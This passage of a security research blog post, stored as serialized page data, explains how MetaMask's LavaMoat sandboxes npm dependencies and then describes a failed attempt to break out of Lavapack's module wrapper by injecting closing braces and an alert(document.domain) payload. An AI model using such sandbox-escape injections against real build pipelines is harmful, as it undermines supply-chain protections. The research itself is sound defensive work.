\"location.hostname\"",{"type":26,"tag":217,"props":116321,"children":116322},{"style":7054},[116323],{"type":32,"value":1473},{"type":26,"tag":217,"props":116325,"children":116326},{"style":7154},[116327],{"type":32,"value":7902},{"type":26,"tag":217,"props":116329,"children":116330},{"style":7048},[116331],{"type":32,"value":10953},{"type":26,"tag":217,"props":116333,"children":116334},{"class":7028,"line":7553},[116335,116340,116344,116348],{"type":26,"tag":217,"props":116336,"children":116337},{"style":7338},[116338],{"type":32,"value":116339},"        \"removeEventListener\"",{"type":26,"tag":217,"props":116341,"children":116342},{"style":7054},[116343],{"type":32,"value":1473},{"type":26,"tag":217,"props":116345,"children":116346},{"style":7154},[116347],{"type":32,"value":7902},{"type":26,"tag":217,"props":116349,"children":116350},{"style":7048},[116351],{"type":32,"value":10953},{"type":26,"tag":217,"props":116353,"children":116354},{"class":7028,"line":7570},[116355,116360,116364],{"type":26,"tag":217,"props":116356,"children":116357},{"style":7338},[116358],{"type":32,"value":116359},"        \"web3\"",{"type":26,"tag":217,"props":116361,"children":116362},{"style":7054},[116363],{"type":32,"value":1473},{"type":26,"tag":217,"props":116365,"children":116366},{"style":7154},[116367],{"type":32,"value":116368}," true\n",{"type":26,"tag":217,"props":116370,"children":116371},{"class":7028,"line":7621},[116372],{"type":26,"tag":217,"props":116373,"children":116374},{"style":7048},[116375],{"type":32,"value":16071},{"type":26,"tag":217,"props":116377,"children":116378},{"class":7028,"line":7672},[116379,116383,116387],{"type":26,"tag":217,"props":116380,"children":116381},{"style":7338},[116382],{"type":32,"value":68816},{"type":26,"tag":217,"props":116384,"children":116385},{"style":7054},[116386],{"type":32,"value":1473},{"type":26,"tag":217,"props":116388,"children":116389},{"style":7048},[116390],{"type":32,"value":8064},{"type":26,"tag":217,"props":116392,"children":116393},{"class":7028,"line":7681},[116394,116399,116403,116407],{"type":26,"tag":217,"props":116395,"children":116396},{"style":7338},[116397],{"type":32,"value":116398},"        \"@metamask/object-multiplex\"",{"type":26,"tag":217,"props":116400,"children":116401},{"style":7054},[116402],{"type":32,"value":1473},{"type":26,"tag":217,"props":116404,"children":116405},{"style":7154},[116406],{"type":32,"value":7902},{"type":26,"tag":217,"props":116408,"children":116409},{"style":7048},[116410],{"type":32,"value":10953},{"type":26,"tag":217,"props":116412,"children":116413},{"class":7028,"line":7754},[116414,116419,116423],{"type":26,"tag":217,"props":116415,"children":116416},{"style":7338},[116417],{"type":32,"value":116418},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":26,"tag":217,"props":116420,"children":116421},{"style":7054},[116422],{"type":32,"value":1473},{"type":26,"tag":217,"props":116424,"children":116425},{"style":7154},[116426],{"type":32,"value":116368},{"type":26,"tag":39,"props":116428,"children":116429},{},[116430,116431,116437,116439,116445,116447,116453],{"type":32,"value":475},{"type":26,"tag":83,"props":116432,"children":116434},{"className":116433},[],[116435],{"type":32,"value":116436},"globals",{"type":32,"value":116438}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":26,"tag":83,"props":116440,"children":116442},{"className":116441},[],[116443],{"type":32,"value":116444},"packages",{"type":32,"value":116446}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":26,"tag":83,"props":116448,"children":116450},{"className":116449},[],[116451],{"type":32,"value":116452},"@metamask/providers",{"type":32,"value":116454}," interacts with other packages.",{"type":26,"tag":39,"props":116456,"children":116457},{},[116458,116460,116466],{"type":32,"value":116459},"To enforce these policies, LavaMoat uses ",{"type":26,"tag":83,"props":116461,"children":116463},{"className":116462},[],[116464],{"type":32,"value":116465},"lavapack",{"type":32,"value":116467},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":26,"tag":631,"props":116469,"children":116471},{"id":116470},"npm-anti-hijacking",[116472],{"type":32,"value":116083},{"type":26,"tag":39,"props":116474,"children":116475},{},[116476],{"type":32,"value":116477},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":26,"tag":39,"props":116479,"children":116480},{},[116481,116483,116490],{"type":32,"value":116482},"Instead, Lavamoat looks at how each package is connected by ",{"type":26,"tag":163,"props":116484,"children":116487},{"href":116485,"rel":116486},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[167],[116488],{"type":32,"value":116489},"walking the modules",{"type":32,"value":116491}," in a project's dependency tree, thus generating a unique name for each package.",{"type":26,"tag":631,"props":116493,"children":116495},{"id":116494},"scuttling",[116496],{"type":32,"value":116088},{"type":26,"tag":39,"props":116498,"children":116499},{},[116500,116502,116508],{"type":32,"value":116501},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":26,"tag":83,"props":116503,"children":116505},{"className":116504},[],[116506],{"type":32,"value":116507},"GlobalThis",{"type":32,"value":116509}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":26,"tag":39,"props":116511,"children":116512},{},[116513,116515,116521],{"type":32,"value":116514},"For example, ",{"type":26,"tag":163,"props":116516,"children":116519},{"href":116517,"rel":116518},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[167],[116520],{"type":32,"value":8807},{"type":32,"value":116522}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":26,"tag":207,"props":116524,"children":116526},{"className":24581,"code":116525,"language":24580,"meta":8,"style":8},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[116527],{"type":26,"tag":83,"props":116528,"children":116529},{"__ignoreMap":8},[116530,116559,116609,116670,116677,116749],{"type":26,"tag":217,"props":116531,"children":116532},{"class":7028,"line":7029},[116533,116537,116541,116546,116550,116555],{"type":26,"tag":217,"props":116534,"children":116535},{"style":7042},[116536],{"type":32,"value":9710},{"type":26,"tag":217,"props":116538,"children":116539},{"style":7048},[116540],{"type":32,"value":7051},{"type":26,"tag":217,"props":116542,"children":116543},{"style":7054},[116544],{"type":32,"value":116545},"scuttleOpts",{"type":26,"tag":217,"props":116547,"children":116548},{"style":7048},[116549],{"type":32,"value":180},{"type":26,"tag":217,"props":116551,"children":116552},{"style":7054},[116553],{"type":32,"value":116554},"enabled",{"type":26,"tag":217,"props":116556,"children":116557},{"style":7048},[116558],{"type":32,"value":7618},{"type":26,"tag":217,"props":116560,"children":116561},{"class":7028,"line":6770},[116562,116566,116570,116574,116579,116583,116588,116592,116596,116600,116605],{"type":26,"tag":217,"props":116563,"children":116564},{"style":7042},[116565],{"type":32,"value":8953},{"type":26,"tag":217,"props":116567,"children":116568},{"style":7048},[116569],{"type":32,"value":7051},{"type":26,"tag":217,"props":116571,"children":116572},{"style":7149},[116573],{"type":32,"value":11704},{"type":26,"tag":217,"props":116575,"children":116576},{"style":7054},[116577],{"type":32,"value":116578},"Array",{"type":26,"tag":217,"props":116580,"children":116581},{"style":7048},[116582],{"type":32,"value":180},{"type":26,"tag":217,"props":116584,"children":116585},{"style":7064},[116586],{"type":32,"value":116587},"isArray",{"type":26,"tag":217,"props":116589,"children":116590},{"style":7048},[116591],{"type":32,"value":1851},{"type":26,"tag":217,"props":116593,"children":116594},{"style":7054},[116595],{"type":32,"value":116545},{"type":26,"tag":217,"props":116597,"children":116598},{"style":7048},[116599],{"type":32,"value":180},{"type":26,"tag":217,"props":116601,"children":116602},{"style":7054},[116603],{"type":32,"value":116604},"exceptions",{"type":26,"tag":217,"props":116606,"children":116607},{"style":7048},[116608],{"type":32,"value":33209},{"type":26,"tag":217,"props":116610,"children":116611},{"class":7028,"line":6779},[116612,116617,116621,116626,116630,116635,116639,116644,116649,116653,116657,116661,116666],{"type":26,"tag":217,"props":116613,"children":116614},{"style":7042},[116615],{"type":32,"value":116616},"        throw",{"type":26,"tag":217,"props":116618,"children":116619},{"style":7154},[116620],{"type":32,"value":25931},{"type":26,"tag":217,"props":116622,"children":116623},{"style":7064},[116624],{"type":32,"value":116625}," Error",{"type":26,"tag":217,"props":116627,"children":116628},{"style":7048},[116629],{"type":32,"value":1851},{"type":26,"tag":217,"props":116631,"children":116632},{"style":7338},[116633],{"type":32,"value":116634},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":26,"tag":217,"props":116636,"children":116637},{"style":7154},[116638],{"type":32,"value":7641},{"type":26,"tag":217,"props":116640,"children":116641},{"style":7154},[116642],{"type":32,"value":116643},"typeof",{"type":26,"tag":217,"props":116645,"children":116646},{"style":7054},[116647],{"type":32,"value":116648}," scuttleOpts",{"type":26,"tag":217,"props":116650,"children":116651},{"style":7149},[116652],{"type":32,"value":180},{"type":26,"tag":217,"props":116654,"children":116655},{"style":7054},[116656],{"type":32,"value":116604},{"type":26,"tag":217,"props":116658,"children":116659},{"style":7154},[116660],{"type":32,"value":7659},{"type":26,"tag":217,"props":116662,"children":116663},{"style":7338},[116664],{"type":32,"value":116665},"\"`",{"type":26,"tag":217,"props":116667,"children":116668},{"style":7048},[116669],{"type":32,"value":10025},{"type":26,"tag":217,"props":116671,"children":116672},{"class":7028,"line":7140},[116673],{"type":26,"tag":217,"props":116674,"children":116675},{"style":7048},[116676],{"type":32,"value":9210},{"type":26,"tag":217,"props":116678,"children":116679},{"class":7028,"line":7165},[116680,116685,116689,116694,116698,116703,116707,116712,116716,116721,116725,116729,116733,116737,116741,116745],{"type":26,"tag":217,"props":116681,"children":116682},{"style":7054},[116683],{"type":32,"value":116684},"      scuttleOpts",{"type":26,"tag":217,"props":116686,"children":116687},{"style":7048},[116688],{"type":32,"value":180},{"type":26,"tag":217,"props":116690,"children":116691},{"style":7064},[116692],{"type":32,"value":116693},"scuttlerFunc",{"type":26,"tag":217,"props":116695,"children":116696},{"style":7048},[116697],{"type":32,"value":1851},{"type":26,"tag":217,"props":116699,"children":116700},{"style":7054},[116701],{"type":32,"value":116702},"globalRef",{"type":26,"tag":217,"props":116704,"children":116705},{"style":7048},[116706],{"type":32,"value":7599},{"type":26,"tag":217,"props":116708,"children":116709},{"style":7054},[116710],{"type":32,"value":116711},"realm",{"type":26,"tag":217,"props":116713,"children":116714},{"style":7154},[116715],{"type":32,"value":8190},{"type":26,"tag":217,"props":116717,"children":116718},{"style":7064},[116719],{"type":32,"value":116720}," performScuttleGlobalThis",{"type":26,"tag":217,"props":116722,"children":116723},{"style":7048},[116724],{"type":32,"value":1851},{"type":26,"tag":217,"props":116726,"children":116727},{"style":7054},[116728],{"type":32,"value":116711},{"type":26,"tag":217,"props":116730,"children":116731},{"style":7048},[116732],{"type":32,"value":7599},{"type":26,"tag":217,"props":116734,"children":116735},{"style":7054},[116736],{"type":32,"value":116545},{"type":26,"tag":217,"props":116738,"children":116739},{"style":7048},[116740],{"type":32,"value":180},{"type":26,"tag":217,"props":116742,"children":116743},{"style":7054},[116744],{"type":32,"value":116604},{"type":26,"tag":217,"props":116746,"children":116747},{"style":7048},[116748],{"type":32,"value":18548},{"type":26,"tag":217,"props":116750,"children":116751},{"class":7028,"line":7178},[116752],{"type":26,"tag":217,"props":116753,"children":116754},{"style":7048},[116755],{"type":32,"value":9754},{"type":26,"tag":39,"props":116757,"children":116758},{},[116759,116761,116767,116769,116775],{"type":32,"value":116760},"Subsequently, the code defines a ",{"type":26,"tag":163,"props":116762,"children":116765},{"href":116763,"rel":116764},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[167],[116766],{"type":32,"value":7604},{"type":32,"value":116768}," called ",{"type":26,"tag":83,"props":116770,"children":116772},{"className":116771},[],[116773],{"type":32,"value":116774},"generateScuttleOpts",{"type":32,"value":116776}," that creates and returns an options object.",{"type":26,"tag":39,"props":116778,"children":116779},{},[116780,116782,116788,116789,116795,116797,116802,116804,116810],{"type":32,"value":116781},"Finally, the ",{"type":26,"tag":83,"props":116783,"children":116785},{"className":116784},[],[116786],{"type":32,"value":116787},"performScuttleGlobalThis",{"type":32,"value":19795},{"type":26,"tag":163,"props":116790,"children":116793},{"href":116791,"rel":116792},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[167],[116794],{"type":32,"value":7604},{"type":32,"value":116796}," modifies the properties of the global object (",{"type":26,"tag":83,"props":116798,"children":116800},{"className":116799},[],[116801],{"type":32,"value":116702},{"type":32,"value":116803},"). It starts by creating an array ",{"type":26,"tag":83,"props":116805,"children":116807},{"className":116806},[],[116808],{"type":32,"value":116809},"props",{"type":32,"value":116811},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":26,"tag":27,"props":116813,"children":116815},{"id":116814},"hacking-webpacks",[116816],{"type":32,"value":116817},"Hacking Webpacks",{"type":26,"tag":39,"props":116819,"children":116820},{},[116821],{"type":32,"value":116822},"Now let's get to the fun stuff.",{"type":26,"tag":39,"props":116824,"children":116825},{},[116826],{"type":32,"value":116827},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":26,"tag":207,"props":116829,"children":116831},{"className":24581,"code":116830,"language":24580,"meta":8,"style":8},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[116832],{"type":26,"tag":83,"props":116833,"children":116834},{"__ignoreMap":8},[116835,116886,116898,116918,116935,116943,116951,116959,116967,116988,116996,117004,117011,117019,117026,117033],{"type":26,"tag":217,"props":116836,"children":116837},{"class":7028,"line":7029},[116838,116842,116847,116851,116856,116860,116864,116868,116873,116877,116882],{"type":26,"tag":217,"props":116839,"children":116840},{"style":7154},[116841],{"type":32,"value":26650},{"type":26,"tag":217,"props":116843,"children":116844},{"style":7054},[116845],{"type":32,"value":116846}," filename",{"type":26,"tag":217,"props":116848,"children":116849},{"style":7149},[116850],{"type":32,"value":8993},{"type":26,"tag":217,"props":116852,"children":116853},{"style":7064},[116854],{"type":32,"value":116855}," encodeURI",{"type":26,"tag":217,"props":116857,"children":116858},{"style":7048},[116859],{"type":32,"value":1851},{"type":26,"tag":217,"props":116861,"children":116862},{"style":7064},[116863],{"type":32,"value":33118},{"type":26,"tag":217,"props":116865,"children":116866},{"style":7048},[116867],{"type":32,"value":1851},{"type":26,"tag":217,"props":116869,"children":116870},{"style":7054},[116871],{"type":32,"value":116872},"moduleData",{"type":26,"tag":217,"props":116874,"children":116875},{"style":7048},[116876],{"type":32,"value":180},{"type":26,"tag":217,"props":116878,"children":116879},{"style":7054},[116880],{"type":32,"value":116881},"file",{"type":26,"tag":217,"props":116883,"children":116884},{"style":7048},[116885],{"type":32,"value":18548},{"type":26,"tag":217,"props":116887,"children":116888},{"class":7028,"line":6770},[116889,116893],{"type":26,"tag":217,"props":116890,"children":116891},{"style":7154},[116892],{"type":32,"value":24787},{"type":26,"tag":217,"props":116894,"children":116895},{"style":7054},[116896],{"type":32,"value":116897}," moduleWrapperSource\n",{"type":26,"tag":217,"props":116899,"children":116900},{"class":7028,"line":6779},[116901,116905,116909,116914],{"type":26,"tag":217,"props":116902,"children":116903},{"style":7042},[116904],{"type":32,"value":37312},{"type":26,"tag":217,"props":116906,"children":116907},{"style":7048},[116908],{"type":32,"value":7051},{"type":26,"tag":217,"props":116910,"children":116911},{"style":7054},[116912],{"type":32,"value":116913},"bundleWithPrecompiledModules",{"type":26,"tag":217,"props":116915,"children":116916},{"style":7048},[116917],{"type":32,"value":7618},{"type":26,"tag":217,"props":116919,"children":116920},{"class":7028,"line":7140},[116921,116926,116930],{"type":26,"tag":217,"props":116922,"children":116923},{"style":7054},[116924],{"type":32,"value":116925},"    moduleWrapperSource",{"type":26,"tag":217,"props":116927,"children":116928},{"style":7149},[116929],{"type":32,"value":8993},{"type":26,"tag":217,"props":116931,"children":116932},{"style":7338},[116933],{"type":32,"value":116934}," `function(){\n",{"type":26,"tag":217,"props":116936,"children":116937},{"class":7028,"line":7165},[116938],{"type":26,"tag":217,"props":116939,"children":116940},{"style":7338},[116941],{"type":32,"value":116942},"      with (this.scopeTerminator) {\n",{"type":26,"tag":217,"props":116944,"children":116945},{"class":7028,"line":7178},[116946],{"type":26,"tag":217,"props":116947,"children":116948},{"style":7338},[116949],{"type":32,"value":116950},"        with (this.globalThis) {\n",{"type":26,"tag":217,"props":116952,"children":116953},{"class":7028,"line":7389},[116954],{"type":26,"tag":217,"props":116955,"children":116956},{"style":7338},[116957],{"type":32,"value":116958},"          return function() {\n",{"type":26,"tag":217,"props":116960,"children":116961},{"class":7028,"line":7406},[116962],{"type":26,"tag":217,"props":116963,"children":116964},{"style":7338},[116965],{"type":32,"value":116966},"            'use strict';\n",{"type":26,"tag":217,"props":116968,"children":116969},{"class":7028,"line":7439},[116970,116975,116979,116984],{"type":26,"tag":217,"props":116971,"children":116972},{"style":7338},[116973],{"type":32,"value":116974},"            // source: ",{"type":26,"tag":217,"props":116976,"children":116977},{"style":7154},[116978],{"type":32,"value":7641},{"type":26,"tag":217,"props":116980,"children":116981},{"style":7054},[116982],{"type":32,"value":116983},"filename",{"type":26,"tag":217,"props":116985,"children":116986},{"style":7154},[116987],{"type":32,"value":7184},{"type":26,"tag":217,"props":116989,"children":116990},{"class":7028,"line":7487},[116991],{"type":26,"tag":217,"props":116992,"children":116993},{"style":7338},[116994],{"type":32,"value":116995},"            return function (require, module, exports) {\n",{"type":26,"tag":217,"props":116997,"children":116998},{"class":7028,"line":7524},[116999],{"type":26,"tag":217,"props":117000,"children":117001},{"style":7338},[117002],{"type":32,"value":117003},"              __MODULE_CONTENT__\n",{"type":26,"tag":217,"props":117005,"children":117006},{"class":7028,"line":7553},[117007],{"type":26,"tag":217,"props":117008,"children":117009},{"style":7338},[117010],{"type":32,"value":8151},{"type":26,"tag":217,"props":117012,"children":117013},{"class":7028,"line":7570},[117014],{"type":26,"tag":217,"props":117015,"children":117016},{"style":7338},[117017],{"type":32,"value":117018},"          };\n",{"type":26,"tag":217,"props":117020,"children":117021},{"class":7028,"line":7621},[117022],{"type":26,"tag":217,"props":117023,"children":117024},{"style":7338},[117025],{"type":32,"value":8722},{"type":26,"tag":217,"props":117027,"children":117028},{"class":7028,"line":7672},[117029],{"type":26,"tag":217,"props":117030,"children":117031},{"style":7338},[117032],{"type":32,"value":9210},{"type":26,"tag":217,"props":117034,"children":117035},{"class":7028,"line":7681},[117036],{"type":26,"tag":217,"props":117037,"children":117038},{"style":7338},[117039],{"type":32,"value":117040},"    }`\n",{"type":26,"tag":39,"props":117042,"children":117043},{},[117044,117046,117052,117054,117060],{"type":32,"value":117045},"Lavapack uses ",{"type":26,"tag":83,"props":117047,"children":117049},{"className":117048},[],[117050],{"type":32,"value":117051},"with()",{"type":32,"value":117053}," proxies to restrict the objects accessible by the module, and ",{"type":26,"tag":83,"props":117055,"children":117057},{"className":117056},[],[117058],{"type":32,"value":117059},"__MODULE_CONTENT__",{"type":32,"value":117061}," is replaced by the content of a file required by the project being built.",{"type":26,"tag":607,"props":117063,"children":117065},{"id":117064},"injection-not-so-simple",[117066],{"type":32,"value":117067},"Injection? Not So Simple",{"type":26,"tag":39,"props":117069,"children":117070},{},[117071,117073,117079],{"type":32,"value":117072},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":26,"tag":83,"props":117074,"children":117076},{"className":117075},[],[117077],{"type":32,"value":117078},"with",{"type":32,"value":117080}," environment:",{"type":26,"tag":207,"props":117082,"children":117084},{"className":24581,"code":117083,"language":24580,"meta":8,"style":8},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[117085],{"type":26,"tag":83,"props":117086,"children":117087},{"__ignoreMap":8},[117088,117101,117113,117125,117137,117144],{"type":26,"tag":217,"props":117089,"children":117090},{"class":7028,"line":7029},[117091,117096],{"type":26,"tag":217,"props":117092,"children":117093},{"style":7048},[117094],{"type":32,"value":117095},"   } ",{"type":26,"tag":217,"props":117097,"children":117098},{"style":7033},[117099],{"type":32,"value":117100},"// end function 1\n",{"type":26,"tag":217,"props":117102,"children":117103},{"class":7028,"line":6770},[117104,117108],{"type":26,"tag":217,"props":117105,"children":117106},{"style":7048},[117107],{"type":32,"value":67404},{"type":26,"tag":217,"props":117109,"children":117110},{"style":7033},[117111],{"type":32,"value":117112},"// end function 2\n",{"type":26,"tag":217,"props":117114,"children":117115},{"class":7028,"line":6779},[117116,117120],{"type":26,"tag":217,"props":117117,"children":117118},{"style":7048},[117119],{"type":32,"value":100278},{"type":26,"tag":217,"props":117121,"children":117122},{"style":7033},[117123],{"type":32,"value":117124},"// end with 1\n",{"type":26,"tag":217,"props":117126,"children":117127},{"class":7028,"line":7140},[117128,117132],{"type":26,"tag":217,"props":117129,"children":117130},{"style":7048},[117131],{"type":32,"value":24770},{"type":26,"tag":217,"props":117133,"children":117134},{"style":7033},[117135],{"type":32,"value":117136},"// end with 2\n",{"type":26,"tag":217,"props":117138,"children":117139},{"class":7028,"line":7165},[117140],{"type":26,"tag":217,"props":117141,"children":117142},{"emptyLinePlaceholder":17},[117143],{"type":32,"value":7817},{"type":26,"tag":217,"props":117145,"children":117146},{"class":7028,"line":7178},[117147,117152,117156,117160,117164,117169],{"type":26,"tag":217,"props":117148,"children":117149},{"style":7064},[117150],{"type":32,"value":117151},"alert",{"type":26,"tag":217,"props":117153,"children":117154},{"style":7048},[117155],{"type":32,"value":1851},{"type":26,"tag":217,"props":117157,"children":117158},{"style":7054},[117159],{"type":32,"value":7929},{"type":26,"tag":217,"props":117161,"children":117162},{"style":7048},[117163],{"type":32,"value":180},{"type":26,"tag":217,"props":117165,"children":117166},{"style":7054},[117167],{"type":32,"value":117168},"domain",{"type":26,"tag":217,"props":117170,"children":117171},{"style":7048},[117172],{"type":32,"value":10025},{"type":26,"tag":39,"props":117174,"children":117175},{},[117176,117178,117184,117186,117193],{"type":32,"value":117177},"However, when we tried to bundle it, a ",{"type":26,"tag":83,"props":117179,"children":117181},{"className":117180},[],[117182],{"type":32,"value":117183},"ParseError",{"type":32,"value":117185}," was thrown. This is because Lavapack is a plugin of ",{"type":26,"tag":163,"props":117187,"children":117190},{"href":117188,"rel":117189},"https://github.com/browserify/browserify",[167],[117191],{"type":32,"value":117192},"browserify",{"type":32,"value":117194},", which has a syntax check before replacing the code.",{"type":26,"tag":39,"props":117196,"children":117197},{},[117198,117200,117206,117208,117214,117216,117222,117224,117229],{"type":32,"value":117199},"Looking deeper into browserify, we find it has a ",{"type":26,"tag":83,"props":117201,"children":117203},{"className":117202},[],[117204],{"type":32,"value":117205},"syntax",{"type":32,"value":117207}," stage on it's pipeline, and uses the ",{"type":26,"tag":83,"props":117209,"children":117211},{"className":117210},[],[117212],{"type":32,"value":117213},"syntax-error",{"type":32,"value":117215}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":26,"tag":83,"props":117217,"children":117219},{"className":117218},[],[117220],{"type":32,"value":117221},"pack",{"type":32,"value":117223}," stage on browserify pipeline, which comes after the ",{"type":26,"tag":83,"props":117225,"children":117227},{"className":117226},[],[117228],{"type":32,"value":117205},{"type":32,"value":117230},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":26,"tag":39,"props":117232,"children":117233},{},[117234],{"type":26,"tag":6468,"props":117235,"children":117238},{"alt":117236,"src":117237},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":26,"tag":39,"props":117240,"children":117241},{},[117242,117243,117248,117250,117255],{"type":32,"value":475},{"type":26,"tag":83,"props":117244,"children":117246},{"className":117245},[],[117247],{"type":32,"value":117213},{"type":32,"value":117249}," package performs a syntax check by using  ",{"type":26,"tag":83,"props":117251,"children":117253},{"className":117252},[],[117254],{"type":32,"value":33126},{"type":32,"value":117256}," with function hoisting:",{"type":26,"tag":207,"props":117258,"children":117260},{"className":24581,"code":117259,"language":24580,"meta":8,"style":8},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[117261],{"type":26,"tag":83,"props":117262,"children":117263},{"__ignoreMap":8},[117264,117275,117323,117334,117341,117360,117400,117458,117498],{"type":26,"tag":217,"props":117265,"children":117266},{"class":7028,"line":7029},[117267,117271],{"type":26,"tag":217,"props":117268,"children":117269},{"style":7042},[117270],{"type":32,"value":24742},{"type":26,"tag":217,"props":117272,"children":117273},{"style":7048},[117274],{"type":32,"value":8064},{"type":26,"tag":217,"props":117276,"children":117277},{"class":7028,"line":6770},[117278,117283,117287,117292,117296,117301,117305,117310,117314,117319],{"type":26,"tag":217,"props":117279,"children":117280},{"style":7064},[117281],{"type":32,"value":117282},"    eval",{"type":26,"tag":217,"props":117284,"children":117285},{"style":7048},[117286],{"type":32,"value":1851},{"type":26,"tag":217,"props":117288,"children":117289},{"style":7338},[117290],{"type":32,"value":117291},"'throw \"STOP\"; (function () { '",{"type":26,"tag":217,"props":117293,"children":117294},{"style":7149},[117295],{"type":32,"value":9025},{"type":26,"tag":217,"props":117297,"children":117298},{"style":7054},[117299],{"type":32,"value":117300}," src",{"type":26,"tag":217,"props":117302,"children":117303},{"style":7149},[117304],{"type":32,"value":9025},{"type":26,"tag":217,"props":117306,"children":117307},{"style":7338},[117308],{"type":32,"value":117309}," '",{"type":26,"tag":217,"props":117311,"children":117312},{"style":8604},[117313],{"type":32,"value":8607},{"type":26,"tag":217,"props":117315,"children":117316},{"style":7338},[117317],{"type":32,"value":117318},"})()'",{"type":26,"tag":217,"props":117320,"children":117321},{"style":7048},[117322],{"type":32,"value":7669},{"type":26,"tag":217,"props":117324,"children":117325},{"class":7028,"line":6779},[117326,117330],{"type":26,"tag":217,"props":117327,"children":117328},{"style":7042},[117329],{"type":32,"value":7171},{"type":26,"tag":217,"props":117331,"children":117332},{"style":7048},[117333],{"type":32,"value":7162},{"type":26,"tag":217,"props":117335,"children":117336},{"class":7028,"line":7140},[117337],{"type":26,"tag":217,"props":117338,"children":117339},{"style":7048},[117340],{"type":32,"value":7184},{"type":26,"tag":217,"props":117342,"children":117343},{"class":7028,"line":7165},[117344,117348,117352,117356],{"type":26,"tag":217,"props":117345,"children":117346},{"style":7042},[117347],{"type":32,"value":24775},{"type":26,"tag":217,"props":117349,"children":117350},{"style":7048},[117351],{"type":32,"value":7051},{"type":26,"tag":217,"props":117353,"children":117354},{"style":7054},[117355],{"type":32,"value":8675},{"type":26,"tag":217,"props":117357,"children":117358},{"style":7048},[117359],{"type":32,"value":7618},{"type":26,"tag":217,"props":117361,"children":117362},{"class":7028,"line":7178},[117363,117367,117371,117375,117379,117384,117388,117392,117396],{"type":26,"tag":217,"props":117364,"children":117365},{"style":7042},[117366],{"type":32,"value":9710},{"type":26,"tag":217,"props":117368,"children":117369},{"style":7048},[117370],{"type":32,"value":7051},{"type":26,"tag":217,"props":117372,"children":117373},{"style":7054},[117374],{"type":32,"value":8675},{"type":26,"tag":217,"props":117376,"children":117377},{"style":7149},[117378],{"type":32,"value":67525},{"type":26,"tag":217,"props":117380,"children":117381},{"style":7338},[117382],{"type":32,"value":117383}," 'STOP'",{"type":26,"tag":217,"props":117385,"children":117386},{"style":7048},[117387],{"type":32,"value":8380},{"type":26,"tag":217,"props":117389,"children":117390},{"style":7042},[117391],{"type":32,"value":10148},{"type":26,"tag":217,"props":117393,"children":117394},{"style":7154},[117395],{"type":32,"value":12724},{"type":26,"tag":217,"props":117397,"children":117398},{"style":7048},[117399],{"type":32,"value":7162},{"type":26,"tag":217,"props":117401,"children":117402},{"class":7028,"line":7389},[117403,117407,117411,117415,117419,117424,117428,117432,117437,117442,117446,117450,117454],{"type":26,"tag":217,"props":117404,"children":117405},{"style":7042},[117406],{"type":32,"value":9710},{"type":26,"tag":217,"props":117408,"children":117409},{"style":7048},[117410],{"type":32,"value":7051},{"type":26,"tag":217,"props":117412,"children":117413},{"style":7054},[117414],{"type":32,"value":8675},{"type":26,"tag":217,"props":117416,"children":117417},{"style":7048},[117418],{"type":32,"value":180},{"type":26,"tag":217,"props":117420,"children":117421},{"style":7054},[117422],{"type":32,"value":117423},"constructor",{"type":26,"tag":217,"props":117425,"children":117426},{"style":7048},[117427],{"type":32,"value":180},{"type":26,"tag":217,"props":117429,"children":117430},{"style":7054},[117431],{"type":32,"value":39184},{"type":26,"tag":217,"props":117433,"children":117434},{"style":7149},[117435],{"type":32,"value":117436}," !==",{"type":26,"tag":217,"props":117438,"children":117439},{"style":7338},[117440],{"type":32,"value":117441}," 